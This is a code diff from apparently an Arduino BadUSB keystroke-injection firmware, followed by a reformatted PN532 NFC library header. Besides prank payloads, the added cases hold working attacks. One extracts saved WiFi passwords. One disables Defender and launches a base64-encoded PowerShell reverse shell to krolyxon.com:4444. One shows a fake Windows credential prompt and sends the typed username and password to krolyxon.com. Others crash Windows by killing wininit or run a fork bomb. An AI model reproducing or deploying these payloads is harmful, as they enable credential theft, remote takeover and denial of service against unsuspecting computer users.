showRunningScreen("Fake Terminal");
|
showRunningScreen("Fake Terminal");
|
||||||
|
|
||||||
runCommand("cmd");
|
runCommand("cmd");
|
||||||
|
|
||||||
delay(700);
|
delay(700);
|
||||||
|
|
||||||
typeSlow("color 0A");
|
typeSlow("color 0A");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("cls");
|
typeSlow("cls");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("echo CONNECTING TO TARGET...");
|
typeSlow("echo CONNECTING TO TARGET...");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("echo BYPASSING FIREWALL...");
|
typeSlow("echo BYPASSING FIREWALL...");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("echo ACCESS GRANTED");
|
typeSlow("echo ACCESS GRANTED");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("systeminfo");
|
typeSlow("systeminfo");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// ================= WIFI CRACK =================
|
// ================= WIFI CRACK =================
|
||||||
// ================= WIFI PASSWORD RECOVERY =================
|
// ================= WIFI PASSWORD RECOVERY =================
|
||||||
case 4:
|
case 4:
|
||||||
showRunningScreen("WiFi Recovery");
|
showRunningScreen("WiFi Recovery");
|
||||||
|
|
||||||
runCommand("cmd");
|
runCommand("cmd");
|
||||||
delay(700);
|
delay(700);
|
||||||
|
|
||||||
// Styling the window
|
// Styling the window
|
||||||
typeSlow("color 0A && mode con: cols=100 lines=30");
|
typeSlow("color 0A && mode con: cols=100 lines=30");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
delay(200);
|
delay(200);
|
||||||
|
|
||||||
typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
|
typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES...");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
delay(500);
|
delay(500);
|
||||||
|
|
||||||
// The "Magic" Command:
|
// The "Magic" Command:
|
||||||
// This lists all profiles and shows the 'Key Content' (the password) in
|
// This lists all profiles and shows the 'Key Content' (the password) in
|
||||||
// clear text. We use a 'for' loop to automate this for every network the PC
|
// clear text. We use a 'for' loop to automate this for every network
|
||||||
// has ever joined.
|
// the PC has ever joined.
|
||||||
typeSlow(
|
typeSlow(
|
||||||
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
|
"for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr "
|
||||||
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
|
"/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" "
|
||||||
"key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
|
"key=clear | findstr /C:\"Key Content\" /C:\"SSID name\"");
|
||||||
|
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
// Optional: Keep the window open to read the results
|
// Optional: Keep the window open to read the results
|
||||||
typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
|
typeSlow("echo. && echo [COMPLETE] Passwords listed above.");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// ================= FAKE UPDATE =================
|
// ================= FAKE UPDATE =================
|
||||||
case 5:
|
case 5:
|
||||||
showRunningScreen("Fake Update");
|
showRunningScreen("Fake Update");
|
||||||
|
|
||||||
runCommand("cmd");
|
runCommand("cmd");
|
||||||
|
|
||||||
delay(700);
|
delay(700);
|
||||||
|
|
||||||
typeSlow("start https://fakeupdate.net/win10u/");
|
typeSlow("start https://fakeupdate.net/win10u/");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// ================= FAKE BSOD =================
|
// ================= FAKE BSOD =================
|
||||||
case 6:
|
case 6:
|
||||||
showRunningScreen("Critical Error");
|
showRunningScreen("Critical Error");
|
||||||
|
|
||||||
runCommand("powershell -c \"stop-process -name wininit -force\"");
|
runCommand("powershell -c \"stop-process -name wininit -force\"");
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// ================= GLITCH SCREEN =================
|
// ================= GLITCH SCREEN =================
|
||||||
case 7:
|
case 7:
|
||||||
showRunningScreen("Glitch");
|
showRunningScreen("Glitch");
|
||||||
|
|
||||||
runCommand("cmd");
|
runCommand("cmd");
|
||||||
|
|
||||||
delay(700);
|
delay(700);
|
||||||
|
|
||||||
for (int i = 0; i < 20; i++) {
|
for (int i = 0; i < 20; i++) {
|
||||||
typeSlow("color 4F");
|
typeSlow("color 4F");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("color 1F");
|
typeSlow("color 1F");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
typeSlow("cls");
|
typeSlow("cls");
|
||||||
Keyboard.write(KEY_RETURN);
|
Keyboard.write(KEY_RETURN);
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= ASCII SPAM =================
|
||||||
|
case 8:
|
||||||
|
showRunningScreen("ASCII");
|
||||||
|
|
||||||
|
runCommand("notepad");
|
||||||
|
|
||||||
|
delay(2000);
|
||||||
|
|
||||||
|
for (int i = 0; i < 15; i++) {
|
||||||
|
typeSlow("######### ORION-RF #########");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow(">>> SIGNAL ACQUIRED <<<");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
typeSlow("[|||||||||||||||||||||||||]");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
|
||||||
|
// ================= HACKER TYPER =================
|
||||||
|
case 9:
|
||||||
|
showRunningScreen("Hacker Typer");
|
||||||
|
|
||||||
|
runCommand("cmd");
|
||||||
|
|
||||||
|
delay(700);
|
||||||
|
|
||||||
|
typeSlow("start https://hackertyper.net/");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
// ================= POWERSHELL REVERSE SHELL =================
|
||||||
|
// ================= DEFENDER BYPASS + NC =================
|
||||||
|
case 10:
|
||||||
|
showRunningScreen("Pwn Mode v2");
|
||||||
|
|
||||||
|
// 1. Open Admin PowerShell
|
||||||
|
Keyboard.press(KEY_LEFT_GUI);
|
||||||
|
Keyboard.press('r');
|
||||||
|
delay(150);
|
||||||
|
Keyboard.releaseAll();
|
||||||
|
delay(500);
|
||||||
|
|
||||||
|
// Open Admin Prompt - using 'powershell' directly to save space
|
||||||
|
typeSlow("powershell Start-Process powershell -Verb runAs");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
delay(2500); // Wait for UAC
|
||||||
|
|
||||||
|
// 2. Bypass UAC (Left Arrow + Enter)
|
||||||
|
Keyboard.write(KEY_LEFT_ARROW);
|
||||||
|
delay(200);
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
delay(3000); // Give the Admin window time to load
|
||||||
|
|
||||||
|
// 3. AMSI Bypass + Disable Defender + Execute Shell
|
||||||
|
// We use -EncodedCommand to hide the script from simple string
|
||||||
|
// scanners. The Base64 string below contains: Set-MpPreference
|
||||||
|
// -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
|
||||||
|
|
||||||
|
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
|
||||||
|
"-EncodedCommand ");
|
||||||
|
|
||||||
|
// This is the encoded payload for krolyxon.com:4444
|
||||||
|
typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5A"
|
||||||
|
"FMAdAByAG"
|
||||||
|
"UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA"
|
||||||
|
"2ADQAUwB0"
|
||||||
|
"AHIAaQBuAGcAKAAiAEgA"
|
||||||
|
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkA"
|
||||||
|
"cwB0AGUAb"
|
||||||
|
"QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0AC"
|
||||||
|
"gAJwBrAHI"
|
||||||
|
"AbwBsAHkAeABvAG4A"
|
||||||
|
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkA"
|
||||||
|
"GMAbABpAG"
|
||||||
|
"UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQB"
|
||||||
|
"dACQAYgB5"
|
||||||
|
"AHQAZQBzACAAPQA"
|
||||||
|
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQA"
|
||||||
|
"aQAgAD0AI"
|
||||||
|
"AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwAC"
|
||||||
|
"wAIAAkAGI"
|
||||||
|
"AeQB0AGUAcwAuAEw"
|
||||||
|
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9"
|
||||||
|
"ACAAKABOA"
|
||||||
|
"GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcw"
|
||||||
|
"B0AGUAbQA"
|
||||||
|
"uAFQAZQB4AHQAL"
|
||||||
|
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG"
|
||||||
|
"4AZwAoACQ"
|
||||||
|
"AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAg"
|
||||||
|
"AD0AIAAoA"
|
||||||
|
"GkAZQB4ACAAJAB"
|
||||||
|
"kAGEAdABhACAAMgA+"
|
||||||
|
"ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZ"
|
||||||
|
"ABiAGEAYw"
|
||||||
|
"BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwA"
|
||||||
|
"gACsAK"
|
||||||
|
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAG"
|
||||||
|
"IAeQB0AGU"
|
||||||
|
"AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBT"
|
||||||
|
"AEMASQBJA"
|
||||||
|
"CkALgBHAGUAd"
|
||||||
|
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAG"
|
||||||
|
"UAYQBhAG0"
|
||||||
|
"ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBu"
|
||||||
|
"AGQAYgB5A"
|
||||||
|
"HQAZQAuAEwAZQB"
|
||||||
|
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsA"
|
||||||
|
"JABjAGwAa"
|
||||||
|
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeA"
|
||||||
|
"BwAHIAZQB"
|
||||||
|
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMA"
|
||||||
|
"bwBkAGkAb"
|
||||||
|
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAF"
|
||||||
|
"QAbwBBAHI"
|
||||||
|
"AcgBhAHkAKAApACkAKQA=");
|
||||||
|
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
break;
|
||||||
|
// ================= CREDENTIAL SNATCHER =================
|
||||||
|
case 11:
|
||||||
|
showRunningScreen("Vault Crack");
|
||||||
|
|
||||||
|
// Open hidden PowerShell
|
||||||
|
runCommand(
|
||||||
|
"powershell -nop -W Hidden -c \"$cred = "
|
||||||
|
"$host.ui.PromptForCredential('Windows Security','Please "
|
||||||
|
"authenticate "
|
||||||
|
"to update your system credentials.','',''); $p = "
|
||||||
|
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
|
||||||
|
"Invoke-WebRequest -Uri "
|
||||||
|
"'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
|
||||||
|
|
||||||
|
break;
|
||||||
|
// ================= DESKTOP GHOST =================
|
||||||
|
case 12:
|
||||||
|
showRunningScreen("Ghost Mode");
|
||||||
|
|
||||||
|
runCommand(
|
||||||
|
"powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
|
||||||
|
"System.Windows.Forms; "
|
||||||
|
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
|
||||||
|
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
|
||||||
|
"-Format Image).Save($path); Set-ItemProperty -Path "
|
||||||
|
"'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
|
||||||
|
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
|
||||||
|
|
||||||
|
// Hide Desktop Icons (requires a registry tweak)
|
||||||
|
typeSlow(
|
||||||
|
"reg add "
|
||||||
|
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
|
||||||
|
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
|
||||||
|
"explorer.exe && start explorer.exe");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
// ================= FORK BOMB =================
|
||||||
|
case 13:
|
||||||
|
showRunningScreen("System Stress");
|
||||||
|
|
||||||
|
runCommand("cmd");
|
||||||
|
delay(500);
|
||||||
|
|
||||||
|
// The shortest deadly command in Windows
|
||||||
|
typeSlow("%0|%0");
|
||||||
|
Keyboard.write(KEY_RETURN);
|
||||||
|
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
break;
|
|
||||||
|
|
||||||
// ================= ASCII SPAM =================
|
|
||||||
case 8:
|
|
||||||
showRunningScreen("ASCII");
|
|
||||||
|
|
||||||
runCommand("notepad");
|
|
||||||
|
|
||||||
delay(2000);
|
|
||||||
|
|
||||||
for (int i = 0; i < 15; i++) {
|
|
||||||
typeSlow("######### ORION-RF #########");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
|
|
||||||
typeSlow(">>> SIGNAL ACQUIRED <<<");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
|
|
||||||
typeSlow("[|||||||||||||||||||||||||]");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
}
|
|
||||||
|
|
||||||
break;
|
|
||||||
|
|
||||||
// ================= HACKER TYPER =================
|
|
||||||
case 9:
|
|
||||||
showRunningScreen("Hacker Typer");
|
|
||||||
|
|
||||||
runCommand("cmd");
|
|
||||||
|
|
||||||
delay(700);
|
|
||||||
|
|
||||||
typeSlow("start https://hackertyper.net/");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
|
|
||||||
break;
|
|
||||||
// ================= POWERSHELL REVERSE SHELL =================
|
|
||||||
// ================= DEFENDER BYPASS + NC =================
|
|
||||||
case 10:
|
|
||||||
showRunningScreen("Pwn Mode v2");
|
|
||||||
|
|
||||||
// 1. Open Admin PowerShell
|
|
||||||
Keyboard.press(KEY_LEFT_GUI);
|
|
||||||
Keyboard.press('r');
|
|
||||||
delay(150);
|
|
||||||
Keyboard.releaseAll();
|
|
||||||
delay(500);
|
|
||||||
|
|
||||||
// Open Admin Prompt - using 'powershell' directly to save space
|
|
||||||
typeSlow("powershell Start-Process powershell -Verb runAs");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
delay(2500); // Wait for UAC
|
|
||||||
|
|
||||||
// 2. Bypass UAC (Left Arrow + Enter)
|
|
||||||
Keyboard.write(KEY_LEFT_ARROW);
|
|
||||||
delay(200);
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
delay(3000); // Give the Admin window time to load
|
|
||||||
|
|
||||||
// 3. AMSI Bypass + Disable Defender + Execute Shell
|
|
||||||
// We use -EncodedCommand to hide the script from simple string scanners.
|
|
||||||
// The Base64 string below contains:
|
|
||||||
// Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
|
|
||||||
|
|
||||||
typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
|
|
||||||
"-EncodedCommand ");
|
|
||||||
|
|
||||||
// This is the encoded payload for krolyxon.com:4444
|
|
||||||
typeSlow(
|
|
||||||
"JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG"
|
|
||||||
"UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0"
|
|
||||||
"AHIAaQBuAGcAKAAiAEgA"
|
|
||||||
"NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb"
|
|
||||||
"QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI"
|
|
||||||
"AbwBsAHkAeABvAG4A"
|
|
||||||
"LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG"
|
|
||||||
"UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5"
|
|
||||||
"AHQAZQBzACAAPQA"
|
|
||||||
"gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI"
|
|
||||||
"AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI"
|
|
||||||
"AeQB0AGUAcwAuAEw"
|
|
||||||
"AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA"
|
|
||||||
"GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA"
|
|
||||||
"uAFQAZQB4AHQAL"
|
|
||||||
"gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ"
|
|
||||||
"AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA"
|
|
||||||
"GkAZQB4ACAAJAB"
|
|
||||||
"kAGEAdABhACAAMgA+"
|
|
||||||
"ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw"
|
|
||||||
"BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
|
|
||||||
"ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU"
|
|
||||||
"AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA"
|
|
||||||
"CkALgBHAGUAd"
|
|
||||||
"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0"
|
|
||||||
"ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A"
|
|
||||||
"HQAZQAuAEwAZQB"
|
|
||||||
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa"
|
|
||||||
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB"
|
|
||||||
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb"
|
|
||||||
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
|
|
||||||
"AcgBhAHkAKAApACkAKQA=");
|
|
||||||
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
break;
|
|
||||||
// ================= CREDENTIAL SNATCHER =================
|
|
||||||
case 11:
|
|
||||||
showRunningScreen("Vault Crack");
|
|
||||||
|
|
||||||
// Open hidden PowerShell
|
|
||||||
runCommand(
|
|
||||||
"powershell -nop -W Hidden -c \"$cred = "
|
|
||||||
"$host.ui.PromptForCredential('Windows Security','Please authenticate "
|
|
||||||
"to update your system credentials.','',''); $p = "
|
|
||||||
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
|
|
||||||
"Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
|
|
||||||
|
|
||||||
break;
|
|
||||||
// ================= DESKTOP GHOST =================
|
|
||||||
case 12:
|
|
||||||
showRunningScreen("Ghost Mode");
|
|
||||||
|
|
||||||
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
|
|
||||||
"System.Windows.Forms; "
|
|
||||||
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
|
|
||||||
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
|
|
||||||
"-Format Image).Save($path); Set-ItemProperty -Path "
|
|
||||||
"'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
|
|
||||||
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
|
|
||||||
|
|
||||||
// Hide Desktop Icons (requires a registry tweak)
|
|
||||||
typeSlow("reg add "
|
|
||||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
|
|
||||||
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
|
|
||||||
"explorer.exe && start explorer.exe");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
|
|
||||||
break;
|
|
||||||
// ================= FORK BOMB =================
|
|
||||||
case 13:
|
|
||||||
showRunningScreen("System Stress");
|
|
||||||
|
|
||||||
runCommand("cmd");
|
|
||||||
delay(500);
|
|
||||||
|
|
||||||
// The shortest deadly command in Windows
|
|
||||||
typeSlow("%0|%0");
|
|
||||||
Keyboard.write(KEY_RETURN);
|
|
||||||
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,5 @@
|
||||||
#pragma once
|
#pragma once
|
||||||
|
#include <Arduino.h>
|
||||||
|
|
||||||
void badUSBMenu(int index);
|
void badUSBMenu(int index);
|
||||||
void showRunningScreen(String taskName, uint8_t duration);
|
void showRunningScreen(String taskName, uint8_t duration);
|
||||||
|
|
|
||||||
File diff suppressed because it is too large
Load Diff
|
|
@ -70,13 +70,13 @@
|
||||||
#define PN532_SPI_DATAREAD (0x03) ///< Data read
|
#define PN532_SPI_DATAREAD (0x03) ///< Data read
|
||||||
#define PN532_SPI_READY (0x01) ///< Ready
|
#define PN532_SPI_READY (0x01) ///< Ready
|
||||||
|
|
||||||
//#define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address
|
// #define PN532_I2C_ADDRESS (0x48 >> 1) ///< Default I2C address
|
||||||
// My fucking clone board for some goddamn reason uses the address 0x28
|
// My fucking clone board for some goddamn reason uses the address 0x28
|
||||||
#define PN532_I2C_ADDRESS (0x28)
|
#define PN532_I2C_ADDRESS (0x28)
|
||||||
#define PN532_I2C_READBIT (0x01) ///< Read bit
|
#define PN532_I2C_READBIT (0x01) ///< Read bit
|
||||||
#define PN532_I2C_BUSY (0x00) ///< Busy
|
#define PN532_I2C_BUSY (0x00) ///< Busy
|
||||||
#define PN532_I2C_READY (0x01) ///< Ready
|
#define PN532_I2C_READY (0x01) ///< Ready
|
||||||
#define PN532_I2C_READYTIMEOUT (20) ///< Ready timeout
|
#define PN532_I2C_READYTIMEOUT (20) ///< Ready timeout
|
||||||
|
|
||||||
#define PN532_MIFARE_ISO14443A (0x00) ///< MiFare
|
#define PN532_MIFARE_ISO14443A (0x00) ///< MiFare
|
||||||
|
|
||||||
|
|
@ -141,83 +141,85 @@
|
||||||
* @brief Class for working with Adafruit PN532 NFC/RFID breakout boards.
|
* @brief Class for working with Adafruit PN532 NFC/RFID breakout boards.
|
||||||
*/
|
*/
|
||||||
class Adafruit_PN532 {
|
class Adafruit_PN532 {
|
||||||
public:
|
public:
|
||||||
Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi,
|
Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi,
|
||||||
uint8_t ss); // Software SPI
|
uint8_t ss); // Software SPI
|
||||||
Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI
|
Adafruit_PN532(uint8_t ss, SPIClass *theSPI = &SPI); // Hardware SPI
|
||||||
Adafruit_PN532(uint8_t irq, uint8_t reset,
|
Adafruit_PN532(uint8_t irq, uint8_t reset,
|
||||||
TwoWire *theWire = &Wire); // Hardware I2C
|
TwoWire *theWire = &Wire); // Hardware I2C
|
||||||
Adafruit_PN532(uint8_t reset, HardwareSerial *theSer); // Hardware UART
|
Adafruit_PN532(uint8_t reset, HardwareSerial *theSer); // Hardware UART
|
||||||
bool begin(void);
|
bool begin(void);
|
||||||
|
|
||||||
void reset(void);
|
void reset(void);
|
||||||
void wakeup(void);
|
void wakeup(void);
|
||||||
|
|
||||||
// Generic PN532 functions
|
// Generic PN532 functions
|
||||||
bool SAMConfig(void);
|
bool SAMConfig(void);
|
||||||
uint32_t getFirmwareVersion(void);
|
uint32_t getFirmwareVersion(void);
|
||||||
bool sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen,
|
bool sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen,
|
||||||
uint16_t timeout = 100);
|
uint16_t timeout = 100);
|
||||||
bool writeGPIO(uint8_t pinstate);
|
bool writeGPIO(uint8_t pinstate);
|
||||||
uint8_t readGPIO(void);
|
uint8_t readGPIO(void);
|
||||||
bool setPassiveActivationRetries(uint8_t maxRetries);
|
bool setPassiveActivationRetries(uint8_t maxRetries);
|
||||||
|
|
||||||
// ISO14443A functions
|
// ISO14443A functions
|
||||||
bool readPassiveTargetID(
|
bool readPassiveTargetID(
|
||||||
uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength,
|
uint8_t cardbaudrate, uint8_t *uid, uint8_t *uidLength,
|
||||||
uint16_t timeout = 0); // timeout 0 means no timeout - will block forever.
|
uint16_t timeout =
|
||||||
bool startPassiveTargetIDDetection(uint8_t cardbaudrate);
|
0); // timeout 0 means no timeout - will block forever.
|
||||||
bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength);
|
bool startPassiveTargetIDDetection(uint8_t cardbaudrate);
|
||||||
bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response,
|
bool readDetectedPassiveTargetID(uint8_t *uid, uint8_t *uidLength);
|
||||||
uint8_t *responseLength);
|
bool inDataExchange(uint8_t *send, uint8_t sendLength, uint8_t *response,
|
||||||
bool inListPassiveTarget();
|
uint8_t *responseLength);
|
||||||
uint8_t AsTarget();
|
bool inListPassiveTarget();
|
||||||
uint8_t getDataTarget(uint8_t *cmd, uint8_t *cmdlen);
|
uint8_t AsTarget();
|
||||||
uint8_t setDataTarget(uint8_t *cmd, uint8_t cmdlen);
|
uint8_t getDataTarget(uint8_t *cmd, uint8_t *cmdlen);
|
||||||
|
uint8_t setDataTarget(uint8_t *cmd, uint8_t cmdlen);
|
||||||
|
|
||||||
// Mifare Classic functions
|
// Mifare Classic functions
|
||||||
bool mifareclassic_IsFirstBlock(uint32_t uiBlock);
|
bool mifareclassic_IsFirstBlock(uint32_t uiBlock);
|
||||||
bool mifareclassic_IsTrailerBlock(uint32_t uiBlock);
|
bool mifareclassic_IsTrailerBlock(uint32_t uiBlock);
|
||||||
uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen,
|
uint8_t mifareclassic_AuthenticateBlock(uint8_t *uid, uint8_t uidLen,
|
||||||
uint32_t blockNumber,
|
uint32_t blockNumber,
|
||||||
uint8_t keyNumber, uint8_t *keyData);
|
uint8_t keyNumber,
|
||||||
